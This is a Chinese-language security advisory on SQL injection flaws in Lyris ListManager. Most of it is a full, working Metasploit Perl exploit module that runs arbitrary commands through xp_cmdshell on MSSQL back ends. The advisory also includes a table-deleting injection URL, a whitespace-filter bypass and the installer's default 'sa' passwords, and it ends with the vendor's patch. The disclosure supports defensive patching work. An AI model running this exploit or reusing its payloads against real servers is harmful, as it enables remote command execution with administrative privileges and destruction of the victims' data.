安全研究

安全漏洞
Lyris Listmanager多个SQL注入漏洞

发布日期:2005-12-09
更新日期:2005-12-09

受影响系统:
Lyris List Manager 8.8a
Lyris List Manager 8.0
Lyris List Manager 7.0
Lyris List Manager 6.0
Lyris List Manager 5.0
不受影响系统:
Lyris List Manager 8.9b
描述:
BUGTRAQ  ID: 15787

Lyris ListManager是用于管理邮件列表,创建邮件、新闻组和讨论组的软件解决方案。

ListManager中用于读取消息附件的函数中存在SQL注入漏洞,远程攻击者可能利用此漏洞在主机上执行任意命令。

攻击者可以通过请求以下URL对后端数据库执行任意命令:
/read/attachment/1;DELETE+FROM+TABLENAME;--/3

此外,orderby参数中也存在多个SQL注入漏洞。攻击者可以向web界面中所显示大部分项提供SQL "ORDER BY"列。处理这个字段的代码检查了空格和tab字符,但支持的数据库允许其他形式的空位。如果用户在使用MSSQL/MSDE后端的话,攻击者就可以将换行字符用作空位并在cmd.exe字符串中用ASCII 0xFF替换空格来访问xp_cmdshell存储的过程。

<*来源:H D Moore (hdm@metasploit.com
  
  链接:http://metasploit.com/research/vulns/lyris_listmanager/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::lyris_attachment_mssql;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
    'Name'  => 'Lyris ListManager Attachment SQL Injection (MSSQL)',
    'Version'  => '$Revision: 1.2 $',
    'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
    'Arch'  => [ ],
    'OS'    => [ 'win32' ],
    'Priv'  => 1,
    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 80],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },

    'Payload' =>
      {
          'Space' => 1000,
        'Keys'  => ['cmd'],
      },

    'Description'  => Pex::Text::Freeform(qq{
        This module exploits a SQL injection flaw in the Lyris ListManager
    software for Microsoft SQL Server. This flaw allows for arbitrary commands
    to be executed with administrative privileges by calling the xp_cmdshell
    stored procedure. Additionally, a window of opportunity is opened during the
    ListManager for MSDE install process; the 'sa' account is set to the password 'lminstall'
    for a 5-10 minute period. After the installer finishes, the password is
    permanently set to 'lyris' followed by the process ID of the installer (a 1-5 digit number).
}),

    'Refs'  =>
      [
        ['URL',   'http://metasploit.com/research/vulns/lyris_listmanager/'],
        ['OSVDB', '21548'],
      ],
      
    'DefaultTarget' => 0,
    'Targets' =>
      [
        ['No target needed.'],
      ],

    'Keys' => ['lyris'],
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Check {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return $self->CheckCode('Connect');
    }

    $s->Send("GET /read/attachment/' HTTP/1.1\r\nHost: $target_host:$target_port\r\n\r\n");

    my $r = $s->Recv(-1, 5);

    if ($r =~ /Unclosed quotation mark before/) {
        $self->PrintLine("[*] Vulnerable installation detected ;)");
        return $self->CheckCode('Detected');
    }
    
    if ($r =~ /SQL error reported from Lyris/) {
        $self->PrintLine("[*] Vulnerable installation, but not running MSSQL.");
        return $self->CheckCode('Safe');
    }
    
    if ($r =~ /ListManagerWeb.*Content-Length: 0/sm) {
        $self->PrintLine("[*] This system appears to be patched");
        return $self->CheckCode('Safe');    
    }
    
    $self->PrintLine("[*] Unknown response, patched or invalid target.");
    return $self->CheckCode('Safe');
}

sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');

    my $cmd = $self->GetVar('EncodedPayload')->RawPayload;

    my $sql =
        'DECLARE @X NVARCHAR(4000);'.
        'SET @X= ';

    foreach my $c (unpack('C*', $cmd)) {
        $sql .= "CHAR($c) + ";
    }
    $sql .= "'\x20';";
    $sql .= 'EXEC MASTER..XP_CMDSHELL @X';

    my $url = "/read/attachment/1;".$self->URLEncode($sql).";--";


    my $request =
      "GET $url HTTP/1.1\r\n".
      "Host: $target_host:$target_port\r\n\r\n";

    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
    $s->Send($request);

    $self->PrintLine("[*] Waiting for a response...");
    $s->Recv(-1, 10);
    $self->Handler($s);
    $s->Close();
    return;
}

sub URLEncode {
    my $self = shift;
    my $data = shift;
    my $res;

    foreach my $c (unpack('C*', $data)) {
        if (
            ($c >= 0x30 && $c <= 0x39) ||
            ($c >= 0x41 && $c <= 0x5A) ||
            ($c >= 0x61 && $c <= 0x7A)
          ) {
            $res .= chr($c);
        } else {
            $res .= sprintf("%%%.2x", $c);
        }
    }
    return $res;
}

1;

建议:
厂商补丁:

Lyris
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载8.9b版本:

http://www.lyris.com/products/listmanager/

浏览次数:3141
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障